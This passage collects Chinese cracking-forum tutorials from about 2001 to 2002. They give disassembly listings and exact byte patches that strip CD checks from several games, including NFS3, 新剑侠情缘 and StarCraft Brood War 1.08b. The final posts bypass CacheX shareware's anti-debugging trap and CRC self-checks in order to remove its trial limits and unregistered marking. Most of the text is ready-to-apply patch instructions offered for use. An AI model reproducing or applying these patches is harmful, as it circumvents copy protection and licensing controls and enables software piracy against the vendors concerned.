[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card6]
"Name"="Matrox G200"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card6\Type1]
"VendorID"=dword:0000102b
"DeviceID"=dword:00000521

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card7]
"Name"="NVidia RIVA 128"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card7\Type1]
"VendorID"=dword:000012d2
"DeviceID"=dword:00000018

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card8]
"Name"="Intel i740"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card8\Type1]
"VendorID"=dword:00008086
"DeviceID"=dword:00007800

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card9]
"Name"="PowerVR"
"Module"="powervr"
"Group"="NEC"
"Types"=dword:00000002

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card9\Type1]
"VendorID"=dword:00001033
"DeviceID"=dword:0000002a

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card9\Type2]
"VendorID"=dword:00001033
"DeviceID"=dword:00000046

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card10]
"Name"="Rendition V2100/V2200"
"Module"="verite"
"Group"="Rendition"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card10\Type1]
"VendorID"=dword:00001163
"DeviceID"=dword:00002000

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card11]
"Name"="Chromatic Mpact 2"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card11\Type1]
"VendorID"=dword:0000110b
"DeviceID"=dword:00000004

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card12]
"Name"="ATI Rage Pro"
"Module"="rage"
"Group"="ATI"
"Types"=dword:00000002

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card12\Type1]
"VendorID"=dword:00001002
"DeviceID"=dword:00004742

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card12\Type2]
"VendorID"=dword:00001002
"DeviceID"=dword:00004750

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card13]
"Name"="3DLabs Permedia 2"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card13\Type1]
"VendorID"=dword:0000104c
"DeviceID"=dword:00003d07

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card14]
"Name"="S3 Savage 3D"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card14\Type1]
"VendorID"=dword:00005333
"DeviceID"=dword:00008a20

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card15]
"Name"="S3 Virge VX"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card15\Type1]
"VendorID"=dword:00005333
"DeviceID"=dword:0000883d

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card16]
"Name"="S3 Virge DX/GX"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card16\Type1]
"VendorID"=dword:00005333
"DeviceID"=dword:00008a01

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card17]
"Name"="S3 Virge"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card17\Type1]
"VendorID"=dword:00005333
"DeviceID"=dword:00005631

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card18]
"Name"="NVidia TNT"
"Module"="d3d"
"Group"="D3D"
"Types"=dword:00000001

[HKEY_LOCAL_MACHINE\Software\Electronic Arts\3D Data\Card18\Type1]
"VendorID"=dword:000010de
"DeviceID"=dword:00000020

还有一个很重要的安装文件，INSTALL.WIN，里面记录了文件路径，改成当前路径后，把它也复制到安装目录下：

english
local
.\GameData\
.\GameData\Tracks\
.\GameData\Tracks\Tutor\
.\GameData\CarModel\
.\GameData\Render\pc\
.\GameData\DashHud\
.\GameData\Audio\pc\
.\GameData\Audio\SFX\
.\GameData\Audio\Speech\English\
.\GameData\Audio\Speech\German\
.\GameData\Audio\Speech\French\
.\GameData\Audio\Speech\Spanish\
.\GameData\Audio\Speech\Italian\
.\FeData\art\
.\FeData\text\
.\FeData\text\
.\FeData\save\
.\FeData\stats\
.\FeData\config\
.\FeData\audio\
.\FeData\Art\Slides\
.\FeData\Art\Track\
.\FeData\Art\Showcase\
.\FeData\movies\
.\FeData\stats\prh\

最后用HIEW打开NFS3.EXE:
找：E8B030040085C07430  改：E8B030040085C0EB30
找：83F8057515B801000000 改：83F8057415B801000000

搞定！

大波罗[BCG][FCG]
Company:Beginner's Cracking Group
Free Cracking Group
http://wdfdiablo.myetang.com
http://dblhome.myrice.com
2001.11.26


铁甲风暴之黑色战线

 标 题:《铁甲风暴之黑色战线》免CD破解手记 (5千字)
发信人:bood
时 间:2002-2-14 15:27:16
详细信息:
《铁甲风暴之黑色战线》免CD破解手记
By: bood E-mail: boodweb@263.net 2002/2/14

    看人家的破文（可不是指人家的文章破），在正式开始前总是有一段讲述自己破解这个软件的原因，至少也要说一下这个软件的大致功能。这篇文章是我的处女作，当然也不能例外啦:))。有什么问题还请大虾们多多指教才是。
    这个游戏大家应该都听说过吧，还是目标在几年前出的，当时还红过一段时间，那时我朋友买了个光盘版，几天前他不知哪根经搭错了，想要联机对战，这样就要两张光盘，现在还哪儿去搞啊。算了，我自己动手吧，还能增加点经验值呢。
    破CD嘛，当然先找GetDriveTypeA函数，mk.exe中共有三个地方用到，但是大致结构都一样，现在仅挑一个地方出来分析（还有两个地方在004820D3和0048248D）：

:00481CED 8A44241C mov al, byte ptr [esp+1C] ;初始盘符
:00481CF1 8D4C241C lea ecx, dword ptr [esp+1C]
:00481CF5 FEC0 inc al ;下一个盘符
:00481CF7 51 push ecx
:00481CF8 88442420 mov byte ptr [esp+20], al

* Reference To: KERNEL32.GetDriveTypeA, Ord:00DFh
|
:00481CFC FF15DC175300 Call dword ptr [005317DC]
:00481D02 83F805 cmp eax, 00000005 ;光驱？
:00481D05 754E jne 00481D55 ;不是则转，然后测试下一个盘符
:004824A7 8DBC249C000000 lea edi, dword ptr [esp+0000009C] ;是光驱
:004824AE 83C9FF or ecx, FFFFFFFF ;以下代码在盘符后面加文件名
:004824B1 33C0 xor eax, eax

    GetDriveTypeA函数的返回值是这样的：

#define DRIVE_UNKNOWN 0
#define DRIVE_NO_ROOT_DIR 1
#define DRIVE_REMOVABLE 2 //可移动
#define DRIVE_FIXED 3 //硬盘
#define DRIVE_REMOTE 4
#define DRIVE_CDROM 5 //光驱
#define DRIVE_RAMDISK 6

    那我们就把cmp eax,5改成cmp eax,3，让它在第一个硬盘上检查（一般是C盘），也便于我伪造数据嘛。用softice跟下去会发现加的文件名一处是overmax0.avi，另一处是gen0.avi。不是有三个地方吗？这个我不知道，反正用光盘启动时只有两次出现动画。把这两个文件拷到C盘根目录，再运行游戏，两次动画顺利通过，然后在出现选项界面的时候又跳出来说要光盘。这下可要费力气了...
    经过一番痛苦的对比跟踪（就是看插光盘和不插光盘流程有什么不同），发现系统函数mciSendString的返回值不同，这下搞清楚了，玩游戏的时候不是还有CD音乐嘛，怎么早没想到呢！用MSDN查查mciSendString发现返回0是成功，那我让它永远返回0不就行了，为了不让光驱受苦，干脆一了百了，把整个mciSendString函数都给切了，呵呵，够毒吧。

:00449F28 6A00 push 00000000
:00449F2A 6800010000 push 00000100
:00449F2F 50 push eax
:00449F30 51 push ecx

* Reference To: WINMM.mciSendStringA, Ord:0034h
|
:00449F31 FF158C1A5300 Call dword ptr [00531A8C]
:00449F37 33D2 xor edx, edx
:00449F39 85C0 test eax, eax
:00449F3B 0F94C2 sete dl
:00449F3E 8BC2 mov eax, edx
:00449F40 C20800 ret 0008

    把Call dword ptr [00531A8C]（就是mciSendString）改成：

83C410 add esp,10
33C0 xor eax,eax
90 nop

    再试试，好用了！不过还要想办法干掉硬盘上的那两个累赘（没办法，有客观原因在：硬盘太小）。在CreateFileA设断，注意应该先设GetDriveTypeA的断，拦下来后再设CreateFileA的断，因为系统好像一直在频繁的调用CreateFileA（要不就是我的机器有问题）。F12跳出后发现：

* Reference To: KERNEL32.CreateFileA, Ord:0031h
|
:004A348A FF1520175300 Call dword ptr [00531720]
:004A3490 8945FC mov dword ptr [ebp-04], eax
:004A3493 837DFCFF cmp dword ptr [ebp-04], FFFFFFFF ;返回值是否是-1？
:004A3497 7523 jne 004A34BC ;不是-1则转

... ...

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A3497(C)
|
:004A34BC 8B4DFC mov ecx, dword ptr [ebp-04]
:004A34BF 51 push ecx

* Reference To: KERNEL32.GetFileType, Ord:00EFh
|
:004A34C0 FF1500185300 Call dword ptr [00531800] ;检查文件类型
:004A34C6 8945F4 mov dword ptr [ebp-0C], eax
:004A34C9 837DF400 cmp dword ptr [ebp-0C], 00000000 ;相等则错误
:004A34CD 752D jne 004A34FC ;不是0则转

... ...

;下面转到004A351C就差不多正确了，GetFileType函数倒没仔细研究过
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A34CD(C)
|
:004A34FC 837DF402 cmp dword ptr [ebp-0C], 00000002
:004A3500 750B jne 004A350D
:004A3502 8A4DC8 mov cl, byte ptr [ebp-38]
:004A3505 80C940 or cl, 40
:004A3508 884DC8 mov byte ptr [ebp-38], cl
:004A350B EB0F jmp 004A351C

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004A3500(C)
|
:004A350D 837DF403 cmp dword ptr [ebp-0C], 00000003
:004A3511 7509 jne 004A351C
:004A3513 8A55C8 mov dl, byte ptr [ebp-38]
:004A3516 80CA08 or dl, 08
:004A3519 8855C8 mov byte ptr [ebp-38], dl

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:004A350B(U), :004A3511(C)
|
:004A351C 8B45FC mov eax, dword ptr [ebp-04]

    我转到004A351C的方法是在CreateFileA后的比较那里插个jmp直接跳到004A3502，即把那里改成：
* Reference To: KERNEL32.CreateFileA, Ord:0031h
|
:004A348A FF1520175300 Call dword ptr [00531720]
:004A3490 8945FC mov dword ptr [ebp-04], eax
:004A3493 E96A000000 jmp 004A3502 ;6A = 4A3502-(4A3493+5) 5是jmp指令本身长度
:004A3498 90 nop
    全部搞定，清理战场，把C盘上的两个avi删了:))。可以开始对战了，呵呵！


新剑侠情缘

标 题:《新剑侠情缘》光盘版变硬盘版
发信人:laoqian
时 间:2002/01/09 03:39pm
详细信息:

前天去买了一张单张光盘的《新剑侠情缘》（正版要几张不知道）,安装时看见上面只有500多MB安装文件,心想可能是硬盘版,正在暗暗高兴俺的光驱可以不受罪啦!,安装完毕，取出光盘，马上启动游戏,咚!!!!“请插入《新剑侠情缘》的第一号光盘，再重新运行本程序。”!!我X，D盘也，嗨，只得自己想办法!
读取光盘信息的软件（此类软件多为游戏软件）一般要调用"GetDriveTypeA（判断一个驱动器的类型）"以及"GetVolumeInformationA（返回卷标信息）等相关API函数，所以只要反编译成功后有针对性的分析这些函数所在位置的代码，并细心注意关键跳跃指令，往往起到事半功倍的效果。有时这些函数可能出现多个，也许单独出现，也许混合出现，但80%以上都是对光盘进行校验。
这就动手！
找到可执行文件NewSword.exe，一看只有280多k,有点怀疑，就用fi检查没有加壳（可能让D版者给脱了？！）。运行 W32dsm89 打开NewSword.exe，反编译成功后，单击“Imports”查看程序调用的相关函数，找到“KERNEL32.GetDriveTypeA”后双击将其打开，我们可看到如下代码：

* Reference To: KERNEL32.SetErrorMode, Ord:0264h
|
:0040A507 8B2D20B04300 mov ebp, dword ptr [0043B020]

* Reference To: KERNEL32.GetVolumeInformationA, Ord:0177h 0177h <<----这里是重点！！！！GetVolumeInformationA函数是获得盘符卷标的，看看第一张光盘的卷标是什么。
|
:0040A50D 8B1D24B04300 mov ebx, dword ptr [0043B024]
:0040A513 C744241000000000 mov [esp+10], 00000000

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A5A6(C)
|
:0040A51B 8D4C243C lea ecx, dword ptr [esp+3C]
:0040A51F 51 push ecx

* Reference To: KERNEL32.GetDriveTypeA, Ord:0104h <<-----API函数标志，判断一个驱动器的类型
|
:0040A520 FF1538B04300 Call dword ptr [0043B038]
:0040A526 83F805 cmp eax, 00000005 <<-----这是什么!!!5代表是光驱,3代表是硬盘,
:0040A529 7565 jne 0040A590 <<-----不等于5就跳,关键的一跳，盘符检查，跳几次就玩完
:0040A52B 6A01 push 00000001
:0040A52D FFD5 call ebp
:0040A52F 8BF0 mov esi, eax
:0040A531 6A00 push 00000000
:0040A533 8D542418 lea edx, dword ptr [esp+18]
:0040A537 6A00 push 00000000
:0040A539 8D442420 lea eax, dword ptr [esp+20]
:0040A53D 52 push edx
:0040A53E 50 push eax
:0040A53F 6A00 push 00000000
:0040A541 8D4C2430 lea ecx, dword ptr [esp+30]
:0040A545 6A20 push 00000020
:0040A547 8D542454 lea edx, dword ptr [esp+54]
:0040A54B 51 push ecx
:0040A54C 52 push edx
:0040A54D FFD3 call ebx
:0040A54F 56 push esi
:0040A550 8BF8 mov edi, eax
:0040A552 FFD5 call ebp
:0040A554 85FF test edi, edi
:0040A556 7438 je 0040A590 <----关键的地方,卷标检查，跳几次就玩完! 此处以后会有用
:0040A558 8BB42490000000 mov esi, dword ptr [esp+00000090]
:0040A55F 8D44241C lea eax, dword ptr [esp+1C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A581(C)
|
:0040A563 8A10 mov dl, byte ptr [eax]
:0040A565 8ACA mov cl, dl
:0040A567 3A16 cmp dl, byte ptr [esi]
:0040A569 751C jne 0040A587
:0040A56B 84C9 test cl, cl
:0040A56D 7414 je 0040A583 <----关键的一跳，必须跳
:0040A56F 8A5001 mov dl, byte ptr [eax+01]
:0040A572 8ACA mov cl, dl
:0040A574 3A5601 cmp dl, byte ptr [esi+01]
:0040A577 750E jne 0040A587
:0040A579 83C002 add eax, 00000002
:0040A57C 83C602 add esi, 00000002
:0040A57F 84C9 test cl, cl
:0040A581 75E0 jne 0040A563

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A56D(C)
|
:0040A583 33C0 xor eax, eax
:0040A585 EB05 jmp 0040A58C <----无条件跳，跳向游戏可以运行的地方!

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A569(C), :0040A577(C)
|
:0040A587 1BC0 sbb eax, eax
:0040A589 83D8FF sbb eax, FFFFFFFF

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A585(U)
|
:0040A58C 85C0 test eax, eax
:0040A58E 7436 je 0040A5C6 <----关键的必须跳，跳向游戏可以运行的地方!

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0040A529(C), :0040A556(C)
:0040A590 8A44243C mov al, byte ptr [esp+3C] <<----关键的的地方!
:0040A594 FEC0 inc al
:0040A596 8844243C mov byte ptr [esp+3C], al
:0040A59A 8B442410 mov eax, dword ptr [esp+10]
:0040A59E 40 inc eax
:0040A59F 83F818 cmp eax, 00000018 <-----将对24个英文字母（盘符）清扫一遍
:0040A5A2 89442410 mov dword ptr [esp+10], eax
:0040A5A6 0F8C6FFFFFFF jl 0040A51B <----又跳回，再来!跳几次就玩完

* Possible StringData Ref from Data Obj ->"请插入《新剑侠情缘》的第一号光盘，再重新运行本"
->"程序。"
|
:0040A5AC 689C0A4400 push 00440A9C

* Reference To: Sword.?g_MessageBox@@YAXPADZZ, Ord:0308h
|
:0040A5B1 FF1558B14300 Call dword ptr [0043B158]
:0040A5B7 83C404 add esp, 00000004
:0040A5BA 33C0 xor eax, eax
:0040A5BC 5F pop edi
:0040A5BD 5E pop esi
:0040A5BE 5D pop ebp
:0040A5BF 5B pop ebx
:0040A5C0 83C47C add esp, 0000007C
:0040A5C3 C20400 ret 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A58E(C)
|
:0040A5C6 5F pop edi <<----游戏可以运行的地方!
:0040A5C7 5E pop esi
:0040A5C8 5D pop ebp
:0040A5C9 B801000000 mov eax, 00000001
:0040A5CE 5B pop ebx
:0040A5CF 83C47C add esp, 0000007C
:0040A5D2 C20400 ret 0004

:0040A5D5 90 nop
:0040A5D6 90 nop
:0040A5D7 90 nop
:0040A5D8 90 nop
:0040A5D9 90 nop
:0040A5DA 90 nop
:0040A5DB 90 nop
:0040A5DC 90 nop
:0040A5DD 90 nop
:0040A5DE 90 nop
:0040A5DF 90 nop

* Referenced by a CALL at Address:
|:0040A449
|
:0040A5E0 56 push esi
:0040A5E1 57 push edi
:0040A5E2 8BF9 mov edi, ecx

好了，让这个游戏不读光盘的方法有很多。
⑴ 把“0040A526 cmp eax, 00000005”改为“cmp eax, 00000003”，
用UltraEdit打开NewSword.EXE文件，
找到：83 F8 05 75 65
改为：83 F8 03 75 65 存盘，搞定！
或：找到：83 F8 05 75 65
改为：83 F8 05 74 65 存盘，搞定！
再把C：盘的卷标改成《新剑侠情缘》第一张光盘的卷标，
这个游戏软件不需要读光盘上的某个文件，只要卷标检查通过就行。

⑵ 直接修改关键跳转指令，直接绕过卷标检查
仔细观察，跳向“0040A5C6 ”，可以直接绕过卷标检查，游戏可以运行。
改什么地方呢？？
这里，跳向“0040A590”的地方，共有两处
:0040A529 7565 jne 0040A590
② :0040A556 7438 je 0040A590
把“0040A590”改为“0040A5C6”，用jumpgen算一下，①不行，②正好，运气！！！
改0040A556 7438 je 0040A590
为0040A556 746E je 0040A5C6
用UltraEdit打开NewSword.EXE文件，
找到：85 FF 74 38
改为：85 FF 74 6E 存盘，搞定！，只需改一个字节就可以了。。。哈哈哈哈
不过，我有一疑问，只改以上跳转指令直接绕过卷标检查，就可以进入游戏，那么以下
:0040A526 83F805 cmp eax, 00000005 <<-----5代表是光驱,3代表是硬盘,
:0040A529 7565 jne 0040A590 <<-----不等于5就跳
又有何用？请高手赐教！

后记
我写这，是第一次，当然破解光盘游戏也是第一次，真诚感谢看雪及他的《论坛精华Ⅲ》和《加密与解密--软件保护技术与解决方案》一书，是他带我上路。其实论起来，我还是看雪（段钢）的师兄，而且我们曾同在一个校园待过（我1991年毕业于同济大学，他1994年），我很以有此师弟为荣。


星际争霸母巢之战1.08b

 标 题:改一个字节破解星际争霸母巢之战1.08b的光盘保护 (1千字)
发信人:大波罗
时 间:2001-10-27 15:50:09
详细信息:
改一个字节破解星际争霸母巢之战1.08b的光盘保护

近来朋友将正版星际争霸母巢之战升级至1.08b版后，要放光盘才能玩，真不爽，苦于网上也找不到补丁，于是要我帮忙看看。

拿来后，要先装星际争霸老版本，忘了问朋友要CD-KEY，懒得问朋友要了，用TRW改一个跳转就过了，很简单，我就不罗嗦了。
再装母巢之战，这个游戏的光盘保护和其他的有些不太一样，但也只要改一处跳转即可，用TRW下bpx getdrivetypea，运行游戏，拦断后，BD *
，按数次F12和F10，来到storm.dll的领空，发现关键比较点如下：

:15018675 6681F9001F cmp cx, 1F00
:1501867A 740B je 15018687 ；就是这里，改成JMP即可
:1501867C 6681F90508 cmp cx, 0805

用HIEW找： 66 81 F9 00 1F 74 0B 66 81
改为： 66 81 F9 00 1F EB 0B 66 81

另外，注册表中的CD盘付改成你的安装盘，我这里安装在D:盘下
REGEDIT4

[HKEY_LOCAL_MACHINE\Software\Blizzard Entertainment\Starcraft]
"StarCD"="D:"

最后将光盘上的INSTALL.EXE（540M）拷贝到安装盘的根目录下，运行游戏，动画和背景音乐和光盘版一样。

搞定！

大波罗[BCG][FCG]
Company:Beginner's Cracking Group
http://wdfdiablo.myetang.com
2001.10.26


重返奇妙大百科

 标 题:光盘版变硬盘版（巧夺天工） (3千字)
发信人:getiteasy
时 间:2001-10-4 9:31:14
详细信息:
  光盘版的游戏一般有以下几种情况：A、安装时全部装进去了，运行时只比较有没有光盘；B、安装时绝大部分已经装进去了，运行时只读光盘上的动画和声音；C、安装时只装了一个引导程序，运行时的要从光盘上读所有的数据（很多多媒体教学光盘就是这样的）。我们主要是破解A、B两种情况。
前些天从伪装者大哥的破解乐园下载了一个非常好玩的游戏：“奇妙大百科：不可思议的机器”，觉得很不错，今天逛碟市，发现了“重返奇妙大百科：不可思议的机器－巧夺天工”，当即买了下来（D版），回到家一装，最大安装结果竟是光盘版的，可怜我那用了两年的老光驱！如果是别的游戏我就退了，但是这可是我最喜欢的游戏，就自己动手改成硬盘版，它是上面的B型，过程如下：（请先用最大安装）
    首先，如果不放光盘进去的话，它就会出一个对话框，要求你放入这个游戏的光盘，这说明它肯定先判断是否有光盘放进去了，没有就弹出这个对话框，好，就用loader载入evenmore.exe，下bpx getdrivetypea,进入游戏以后马上就被拦下来了，按一下F12，就返回到evenmore的领空，来到这里：
:0042C056 8B0D381F4A00 mov ecx, dword ptr [004A1F38]
:0042C05C C605351F4A0001 mov byte ptr [004A1F35], 01
:0042C063 E858030000 call 0042C3C0
:0042C068 8BD0 mov edx, eax
:0042C06A 8D4C244C lea ecx, dword ptr [esp+4C]
:0042C06E E85D070200 call 0044C7D0
:0042C073 8A44244C mov al, byte ptr [esp+4C]
:0042C077 881D351F4A00 mov byte ptr [004A1F35], bl
:0042C07D 3AC3 cmp al, bl
:0042C07F 7410 je 0042C091
:0042C081 8D4C244C lea ecx, dword ptr [esp+4C]
:0042C085 51 push ecx
:0042C086 FFD7 call edi　　　　　　　－－－－从这里出来；实际上就是getdrivetypea
:0042C088 83F805 cmp eax, 00000005 －－－－比较是不是光盘（光盘的返回值是5，硬盘是3）
:0042C08B 0F8455010000 je 0042C1E6　　　　　 －－－－是光盘就跳到后面接着执行，不是光盘就要你放入光　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　盘
    因此，从0042C086的那个CALL中出来，EAX中应为3，下R　EAX　5，将返回值强制改成5，让程序以为放了光盘，按一下F5，程序继续执行，没有要你放入光盘了，但是屏幕过一下就黑了，没有什么反应。按一下ALT+F4，程序会问你是否退出，按“确定”，就正常的退出来了。
    估计造成以上现象的原因是：程序在执行时不仅判断是否有光盘放进去了，还要读光盘上的某个文件（多半是动画文件或声音文件），由于读不到，因此停下来了。
    打开注册表，发现在hkey_local_machines\software\sierra online\setup\evenmore下有一个键：cdpath,值为：F:\Contraptions\Files，我就将它改成了：D:\Contraptions\Files，并将光盘上对应的目录地F:\Contraptions\Files拷贝到硬盘上D:\Contraptions\Files。再运行一遍程序，还是不行。
    这次换一个方法，先运行filemon，再用loader载入，还是下bpx getdrivetypea,拦下后还是按一下F12，还是下r eax 5,还是按一下F5，等屏幕黑了以后，按一下ALT+Tab，切换到filemon中，看到有很多的not found，这多半就是我们缺的文件，看一下，intro.tbv,还有很多的wav文件。将光盘的\Contraptions\Files下的这几个文件(tbv)拷贝到这个游戏的安装目录中，再用上面的方法执行一次，哈，成功了！可以玩了。
    但是别高兴的太早了，过一段时间它又要读光盘，如果没有检测到光盘，还会要你放入光盘。我们就下bpx getdrivetypea,按确定，马上就被拦下来了，按一下F12，又来到了0042C088的位置，下r eax 5,按一下F5，又被拦下来了，再以后，就有很多的中断，并且还读软驱，我受不了了！
改吧：我一开始是将0042C086处的那个CALL改成了mov al,5（机器码是B005），可是不行，再将je 0042C1E6改成了jmp 0042C1E6,还是不行，只好将cmp eax,5改成cmp eax ,3。
    用ue找到：FFD783F8050F8455010000，改成
              FFD783F8030F8455010000
    问题就解决了！
    最后说一句：如果还想要背景音乐的话，还要将光盘下的music.tbv这个文件拷贝到游戏的安装目录中去；如果想要听解说的话，就将光盘下的voice.tbv拷贝到游戏的安装目录中。
    （额外效果：这个光盘版的游戏放入光盘玩时，有时还要读软驱，可能原来是用磁盘保护的，被人解密了，但是用这个方法改成硬盘版后，就不读软驱了）


CacheX

 标 题:我来说说如何绕过cxie的自检 (1千字)
发信人:fs0
时 间:2001-9-13 13:35:28
详细信息:
CacheX 是根据自检的结果来动态还原某些运行代码，如果你改了程序的任何地方，
这些动态生成的代码就没有得到正确的还原，一运行就必定出错。

在Cxie.exe的自检有两种，第一种是对整个文件检测，我们可以改她使其检测另外一个Cxie.exe
的原文件(就是没有改过的cxie.exe)，第二种是对内存中的代码和数据段检测，这种比较麻烦，
如何才能绕过该种自检又能修改程序呢？方法很简单，就是在程序运行该自检函数前
把我们修改过的地方还原过来，等程序自检完了再把我们修改的代码放回去就可以绕过自检了。
但是这些代码我们放哪呢，一定要是自检函数不去检测的地方，.tls 和 .rsrc是个不错的地方。
Cxie中我知道的自检函数有 438890， 43ded1，还有一个忘了，是按Search时运行的，
由于程序中有很多地方调用到这些函数，要修改的话，最好是改这些函数的入口，使其跳到我们
的代码，而这些代码要做的就是还原，还原完后返回给自检函数，待自检完又返回到我们的代码
(怎么返回到我们的代码就是前面的还原代码部分去做，具体怎么做的留给你们去做吧，要注意
的就是自检函数是有参数的)，这里要做得是把我们修改过的代码改回去，就这样大功告成。
我就是这样的把Cxie的时间限制，剩余天数，Unreg字去掉的。


CacheX v4.00

 标 题:解除CacheX for Internet Explorer V 4.00的crc校验及破解 (19千字)
发信人:玉川
时 间:2001-9-19 0:12:48
详细信息:
解除CacheX for Internet Explorer V 4.00的crc校验及破解,

发信人:玉川
整理时间:2001-09-18
软件介绍：

   CacheX for Internet Explorer
  来自：Matthias Wolf, Albertinenstr
  版本： 4.00
  最新更新： 2001-07-30
  文件大小： 296 KB
  软件授权： Share Ware
  作业平台： Win 95/98/NT/2000
  可以在离线后轻松访问曾经浏览过的网页。包括全文检索，建立整个访问文档的结构。可以保存，隐藏和删除离线文档。当我们在线浏览网页时，浏览器自身已经下载了所需的页面和图片，在浏览器的缓存里面已经有很多我们需要的内容，如果能好好地利用它们，有时并不需要我们再次连线上网去查询和下载，那可是能节省不少银子的哟！CacheX就是一个可以充分利用这些资源的离线浏览软件。

首先说明，我走的是一条最笨的破解之路，最便捷的还是破解它的注册码.这条弯弯拐拐的路可花了我不少时间.其中没有详细说明为何这样改，原因很简单，连我自己的笔记也不能看懂了，我也只能按笔记这样修改.不过，如果你有兴趣，按下面的顺序依次中断，就会发现东东.

还有一点想说的是，该软件的离线浏览功能制作没有它的防解密好。其实，我们用好IE的“历史”功能，同样很方便离线浏览.

首先，用topo打开cxie.exe,我增加了300字节，但最好是增加400字节.得到
memory 0044a01d
file offset 00045e1d
以上得到的空间作为修改程序之用。如果你得到的地址与这不同，那下面修改部分的跳转地址就有所改变，请注意.

1。调试器检测

* Referenced by a CALL at Address:
|:0043DAE4
|
:0043DAF0 56 push esi
:0043DAF1 33C0 xor eax, eax
:0043DAF3 8B742408 mov esi, dword ptr [esp+08]
:0043DAF7 57 push edi
:0043DAF8 F7D6 not esi
:0043DAFA 8B7C2410 mov edi, dword ptr [esp+10]
:0043DAFE F7D7 not edi
:0043DB00 CC int 03
:0043DB01 5F pop edi
:0043DB02 40 inc eax
:0043DB03 5E pop esi
:0043DB04 C3 ret

2。crc校验 （第一）

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043D4A7(C)
|
:0043D4CA 8D85DCFAFFFF lea eax, dword ptr [ebp+FFFFFADC]
:0043D4D0 50 push eax
:0043D4D1 E854180000 call 0043ED2A
:0043D4D6 3B35A8294400 cmp esi, dword ptr [004429A8]
:0043D4DC 754A jne 0043D528 《----必须nop掉
:0043D4DE 8B45F0 mov eax, dword ptr [ebp-10]
:0043D4E1 F7D0 not eax
:0043D4E3 3B0518E64300 cmp eax, dword ptr [0043E618]
:0043D4E9 753D jne 0043D528 《----必须nop掉
:0043D4EB 8B45E4 mov eax, dword ptr [ebp-1C]
:0043D4EE 8B4DE8 mov ecx, dword ptr [ebp-18]
:0043D4F1 2D008049B7 sub eax, B7498000

3、crc校验 （第二）

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043DF5E(C)
|
:0043DF7E 8D8B00100000 lea ecx, dword ptr [ebx+00001000]
:0043DF84 8D9348100000 lea edx, dword ptr [ebx+00001048]
:0043DF8A F7D0 not eax 《-------此处必须修改eax的值
:0043DF8C 8BF1 mov esi, ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043DF9E(U)
|
:0043DF8E 3BCA cmp ecx, edx
:0043DF90 730E jnb 0043DFA0
:0043DF92 8B39 mov edi, dword ptr [ecx]
:0043DF94 33F8 xor edi, eax

在0043df8a处，必须修改eax的值，使eax=555200a3,我这样修改:
0043df7e e99ac00000 jmp 0044a01d
0043df83 90 nop
在0044a01d处:
0044a01d 8d8b00100000 lea ecx,dword ptr [ebx+1000]
0044a023 b8a3005255 mov eax,555200a3
0044a028 e9573fffff jmp 43df84

4、crc校验 （第三）

:0043EE28 6A00 push 00000000
:0043EE2A 50 push eax
:0043EE2B E836F4FFFF call 0043E266
:0043EE30 FF75FC push [ebp-04] 《----修改此处
:0043EE33 8D459C lea eax, dword ptr [ebp-64]

* Possible Reference to Menu: MenuID_0001
|

* Possible Reference to String Resource ID=00001: "CacheX for Internet Explorer"
|
:0043EE36 6A01 push 00000001

* Possible Reference to String Resource ID=00020: "Week of %s"
|
:0043EE38 6A14 push 00000014
:0043EE3A 50 push eax
:0043EE3B E891F0FFFF call 0043DED1
